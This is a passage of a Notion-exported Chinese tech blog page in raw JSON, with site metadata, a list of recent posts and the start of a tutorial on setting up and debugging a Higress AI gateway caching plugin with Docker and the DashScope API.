fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e":{"value":{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","version":1204,"type":"page","content":["f0570c8e-f797-4028-82fd-2021d7466aae","c6a35647-0e2f-41ea-878d-7c7eb3a05afc","e18d9095-672a-4258-a04c-9ef1cc2c4738","608d8aa8-05b1-4bf5-8601-62aa5c1ca066","2f463941-7dff-455d-9f1d-dcafa589cbf7","313e92b0-1423-40e9-8fcb-bb42e8b0e9e3","2adc4dd9-9c30-436a-beb4-63177d32a009","e12a902f-9868-4826-a8fc-63cf9ad65e5b","d58a0d41-b5f4-4207-b1eb-e4209eb74e83","c1c38ba1-87ad-47b9-98ca-fe04a5011c33","5f525b14-1d64-468c-aea6-14f5856a28d8","58ea3f8e-2805-4815-b260-3c432444b32b","1a4f55d6-57ff-40c1-912b-966236244dca","11c6127b-7449-4ffb-b848-5a8b3100f4a4","cb615dd5-4f09-4250-af8e-d04b08629a1f","bc8d5b2b-15dc-4c04-907b-91f1463b35c1","c2b0e175-3915-4b47-a5dc-884bc8c72d6c","07495b0a-a776-4207-a6b6-75f435d29e3e","9f6559c2-bd11-464c-b1be-ebe8232bf0b3","095393ef-6e3e-4c6e-a2bb-1417c74f5666","54a8c807-8338-4f11-ab10-f2f633637e28","6573f9d3-b9c0-4fcf-af27-bbde924e27eb","b2d472cc-6e28-4717-975b-741bb201dc9a","21843953-da8c-4ff2-a773-f3f32a37f247","efeb5cfe-0aec-4815-867d-7dd1131b44d8","1343f984-f36d-497f-8555-462e300bc40e","6b713d92-b7a1-4d46-a9b3-9e713fdd675b","5f3da559-9c03-4584-abe6-4f8201e892ef","f298b4e7-cc4b-43e0-8c37-8eadab4aab07","86fa16f3-51f9-4450-b80d-5c4523b75d0a","76232abf-787a-4b74-8733-2d3fe6b6cc5b","19890a07-9a2f-4157-a585-71ccad54ac76","b4d5af40-22b0-483f-aa1f-1b61c644e769","3aa577f9-84a5-4555-a9ef-fa5c0747d8b8","474b67b0-7b45-4cae-a90d-7e354fd5774a","765281fe-a0e2-43f2-b8dd-875d9729d351","cdea9d78-2995-4399-8f3f-2162723cf139","812603c5-13a4-42a5-bb1d-2476d5d27fbd","c24cbf20-5538-4678-922a-042464e6b51a","3941e759-db69-4cd3-94bf-d377e0755b3a","97524be0-46aa-42f4-9ee8-5dd9cb5a4c9e","17c55c65-0391-420c-9330-d10ac17c46e8","a76b617b-2ca9-43d3-bf80-d082de342b72","f27c866e-a576-49ef-a107-e856aac86deb","8ecc1e9b-bab3-4b09-a228-ec334a476819","6f352941-b471-4daf-9323-05951bb7ea09","14a6bb01-6dc8-4c3f-9ae7-bd8a058cd347","83feb7fd-0a16-4c88-a8a8-85294c8c0d73","36c61f1e-a21c-4bba-8875-fd4ca734fbf2","8fd6c7b8-b2ec-49de-8774-0ee5b4b9df90","0eba2b10-044d-443a-a4ad-e09870a285da","2a0a93ee-5fc5-4d7f-a39d-bb216a13af40","38066a88-ac54-4a23-b12a-0864f210dc6c","c4777b82-903c-49f6-945d-a007f92081e5","9e8b8dcb-ebe3-441d-bfa4-3501396f5cc9","40ae184f-58ee-4140-bf97-4aef93f213eb","a4e83c11-7de4-47e0-815e-e04a30dc9a46","36b213fb-1d6b-49ac-91a9-c8523cd109b8","a852f401-a240-493a-a307-1e58c9a51941","f48546e3-c680-42e6-9025-835a15d48bdc","e0198d9d-bee1-43f2-8c98-d909bb3a5dbc","c8ef17bd-13c6-4396-be1d-8256e23a134b","f7f082d9-81cf-4286-ba17-d6b7f8c5f474","18d599e1-6787-4e98-b68b-91678b24309f","c42b26e2-cc60-4040-8203-49df13a58ef1","052dd490-3628-4abf-9ec8-17362390afee","c44da1db-da2a-426d-9160-1cfb46d946ff"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1719380152409,"last_edited_time":1719562364310,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"f0570c8e-f797-4028-82fd-2021d7466aae":{"value":{"id":"f0570c8e-f797-4028-82fd-2021d7466aae","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"c6a35647-0e2f-41ea-878d-7c7eb3a05afc":{"value":{"id":"c6a35647-0e2f-41ea-878d-7c7eb3a05afc","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"e18d9095-672a-4258-a04c-9ef1cc2c4738":{"value":{"id":"e18d9095-672a-4258-a04c-9ef1cc2c4738","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"608d8aa8-05b1-4bf5-8601-62aa5c1ca066":{"value":{"id":"608d8aa8-05b1-4bf5-8601-62aa5c1ca066","type":"callout","content":["0b604949-8c4c-4a01-bc3b-6a35f46399f3"],"format":{"page_icon":"⚙","block_color":"gray_background","callout_version":2},"created_time":1719380157222,"last_edited_time":1719380157222,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"2f463941-7dff-455d-9f1d-dcafa589cbf7":{"value":{"id":"2f463941-7dff-455d-9f1d-dcafa589cbf7","type":"header","properties":{"title":[["前期准备"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719541436094,"last_edited_time":1719541449046,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"313e92b0-1423-40e9-8fcb-bb42e8b0e9e3":{"value":{"id":"313e92b0-1423-40e9-8fcb-bb42e8b0e9e3","type":"quote","properties":{"title":[["文档中所有变量都是${your_qwen_token}这种形式,需要你自己替换"]]},"created_time":1719541803781,"last_edited_time":1719541902390,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"2adc4dd9-9c30-436a-beb4-63177d32a009":{"value":{"id":"2adc4dd9-9c30-436a-beb4-63177d32a009","type":"code","properties":{"title":[["#docker仓库准备,不多赘述,以后docker login的时候需要这个页面设置的访问凭证\n#这个是调试插件CI/CD的关键\nhttps://cr.console.aliyun.com/cn-hangzhou/instance/repositories\n\n#申请千问token\n"],["https://help.aliyun.com/zh/dashscope/opening-service",[["a","https://help.aliyun.com/zh/dashscope/opening-service"]]],["\n#保存变量${your_qwen_token}\n\n#上传文件到千问,文件下载位置见下图\n#地址:https://tianchi.aliyun.com/competition/entrance/532192/informatio\n#下载下来,解压缩得到doc.md\ncurl --location --request POST 'https://dashscope.aliyuncs.com/compatible-mode/v1/files' \\\n --header 'Authorization: ${your_qwen_token}' \\\n --form 'file=@./doc.md' \\\n --form 'purpose=file-extract'\n#得到结果如下\n{\"id\":\"${your_file_id}\",\"object\":\"file\",\"bytes\":79439,\"created_at\":1719468299,\"filename\":\"doc.md\",\"purpose\":\"file-extract\",\"status\":\"processed\"}\n#保存变量${your_file_id}"]],"language":[["Bash"]]},"created_time":1719541451027,"last_edited_time":1719562238339,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"e12a902f-9868-4826-a8fc-63cf9ad65e5b":{"value":{"id":"e12a902f-9868-4826-a8fc-63cf9ad65e5b","type":"image","properties":{"size":[["261.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9d7671a4-16f2-4991-8b25-960842eeab9b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9d7671a4-16f2-4991-8b25-960842eeab9b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5004484304932736,"block_preserve_scale":true},"created_time":1719541707552,"last_edited_time":1719541714509,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["9d7671a4-16f2-4991-8b25-960842eeab9b"]}},"d58a0d41-b5f4-4207-b1eb-e4209eb74e83":{"value":{"id":"d58a0d41-b5f4-4207-b1eb-e4209eb74e83","type":"text","format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719541719293,"last_edited_time":1719541719293,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"c1c38ba1-87ad-47b9-98ca-fe04a5011c33":{"value":{"id":"c1c38ba1-87ad-47b9-98ca-fe04a5011c33","type":"header","properties":{"title":[["本地搭建调试"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719541719682,"last_edited_time":1719541986841,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"5f525b14-1d64-468c-aea6-14f5856a28d8":{"value":{"id":"5f525b14-1d64-468c-aea6-14f5856a28d8","type":"sub_header","properties":{"title":[["docker运行higress"]]},"created_time":1719541993792,"last_edited_time":1719542013581,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"58ea3f8e-2805-4815-b260-3c432444b32b":{"value":{"id":"58ea3f8e-2805-4815-b260-3c432444b32b","type":"code","properties":{"title":[["#本地新建docker-compose.yml如下\n#我们只需要网关即可,不需要其他的httpbin容器\n\nversion: '3.9'\nservices:\n higress:\n\t #这个镜像包含redis,并且包含了ai-proxy插件\n image: registry.cn-hangzhou.aliyuncs.com/ztygw/aio-redis:1.4.0-rc.1\n environment:\n\t #开启日志输出\n - GATEWAY_COMPONENT_LOG_LEVEL=misc:error,wasm:debug\n ports:\n #管理页面端口\n - \"8080:8080/tcp\"\n\t #llm端口\n - \"8001:8001/tcp\"\n #redis端口\n - \"6379:6379/tcp\"\n restart: always\n \n\n#直接启动起来\ndocker compose up"]],"language":[["Bash"]]},"created_time":1719541988666,"last_edited_time":1719542831654,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"1a4f55d6-57ff-40c1-912b-966236244dca":{"value":{"id":"1a4f55d6-57ff-40c1-912b-966236244dca","type":"sub_header","properties":{"title":[["higress管理页面配置"]]},"created_time":1719542280658,"last_edited_time":1719542301689,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"11c6127b-7449-4ffb-b848-5a8b3100f4a4":{"value":{"id":"11c6127b-7449-4ffb-b848-5a8b3100f4a4","type":"quote","properties":{"title":[["此时容器运行起来了,访问"],["http://localhost:800",[["a","http://localhost:8001/plugin"]]],["1,进入higress管理页面,密码随便"]]},"created_time":1719542428142,"last_edited_time":1719542482647,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"cb615dd5-4f09-4250-af8e-d04b08629a1f":{"value":{"id":"cb615dd5-4f09-4250-af8e-d04b08629a1f","type":"sub_sub_header","properties":{"title":[["创建服务来源"]]},"created_time":1719542401024,"last_edited_time":1719542408621,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"bc8d5b2b-15dc-4c04-907b-91f1463b35c1":{"value":{"id":"bc8d5b2b-15dc-4c04-907b-91f1463b35c1","type":"text","properties":{"title":[["首先创建官方文档中的DNS类型的服务,域名是 "],["dashscope.aliyuncs.com",[["a","http://dashscope.aliyuncs.com/"]]],[",端口是443"]]},"created_time":1719542409021,"last_edited_time":1719542522165,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"c2b0e175-3915-4b47-a5dc-884bc8c72d6c":{"value":{"id":"c2b0e175-3915-4b47-a5dc-884bc8c72d6c","type":"image","properties":{"size":[["57.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/069c321b-fcf5-4c07-b330-d7bbcfeea595/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/069c321b-fcf5-4c07-b330-d7bbcfeea595/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6068075117370892,"block_preserve_scale":true},"created_time":1719542573382,"last_edited_time":1719542578293,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["069c321b-fcf5-4c07-b330-d7bbcfeea595"]}},"07495b0a-a776-4207-a6b6-75f435d29e3e":{"value":{"id":"07495b0a-a776-4207-a6b6-75f435d29e3e","type":"text","properties":{"title":[["然后创建一个redis固定地址服务来源,服务地址写127.0.0.1:6379,名称直接写redis"]]},"created_time":1719542577631,"last_edited_time":1719542647928,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"9f6559c2-bd11-464c-b1be-ebe8232bf0b3":{"value":{"id":"9f6559c2-bd11-464c-b1be-ebe8232bf0b3","type":"image","properties":{"size":[["56.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fabb42e3-fa73-4de5-a90d-2d9274de92e2/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fabb42e3-fa73-4de5-a90d-2d9274de92e2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6620370370370371,"block_preserve_scale":true},"created_time":1719542614818,"last_edited_time":1719542619193,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["fabb42e3-fa73-4de5-a90d-2d9274de92e2"]}},"095393ef-6e3e-4c6e-a2bb-1417c74f5666":{"value":{"id":"095393ef-6e3e-4c6e-a2bb-1417c74f5666","type":"text","properties":{"title":[["最后你的服务来源应该如下"]]},"created_time":1719542650024,"last_edited_time":1719542660071,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"54a8c807-8338-4f11-ab10-f2f633637e28":{"value":{"id":"54a8c807-8338-4f11-ab10-f2f633637e28","type":"image","properties":{"size":[["69.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f51cb2fb-299f-4833-a99a-9fe16c6657f6/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f51cb2fb-299f-4833-a99a-9fe16c6657f6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4730250481695568,"block_preserve_scale":true},"created_time":1719542399988,"last_edited_time":1719542671065,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["f51cb2fb-299f-4833-a99a-9fe16c6657f6"]}},"6573f9d3-b9c0-4fcf-af27-bbde924e27eb":{"value":{"id":"6573f9d3-b9c0-4fcf-af27-bbde924e27eb","type":"sub_sub_header","properties":{"title":[["路由配置"]]},"created_time":1719542650140,"last_edited_time":1719542693702,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"b2d472cc-6e28-4717-975b-741bb201dc9a":{"value":{"id":"b2d472cc-6e28-4717-975b-741bb201dc9a","type":"text","properties":{"title":[["创建一条前缀匹配/的路由,转发给上面创建的服务,并附加注解:"]]},"created_time":1719542772479,"last_edited_time":1719542772482,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"21843953-da8c-4ff2-a773-f3f32a37f247":{"value":{"id":"21843953-da8c-4ff2-a773-f3f32a37f247","type":"text","properties":{"title":[["higress.io/backend-protocol: HTTPS"]]},"created_time":1719542772479,"last_edited_time":1719542785763,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"efeb5cfe-0aec-4815-867d-7dd1131b44d8":{"value":{"id":"efeb5cfe-0aec-4815-867d-7dd1131b44d8","type":"text","properties":{"title":[["higress.io/proxy-ssl-name: dashscope.aliyuncs.com"]]},"created_time":1719542772480,"last_edited_time":1719542793037,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"0b604949-8c4c-4a01-bc3b-6a35f46399f3":{"value":{"id":"0b604949-8c4c-4a01-bc3b-6a35f46399f3","type":"text","properties":{"title":[["使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。",[["b"]]]]},"format":{"copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157222,"last_edited_time":1719541432056,"parent_id":"608d8aa8-05b1-4bf5-8601-62aa5c1ca066","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"1343f984-f36d-497f-8555-462e300bc40e":{"value":{"id":"1343f984-f36d-497f-8555-462e300bc40e","type":"text","properties":{"title":[["higress.io/proxy-ssl-server-name: 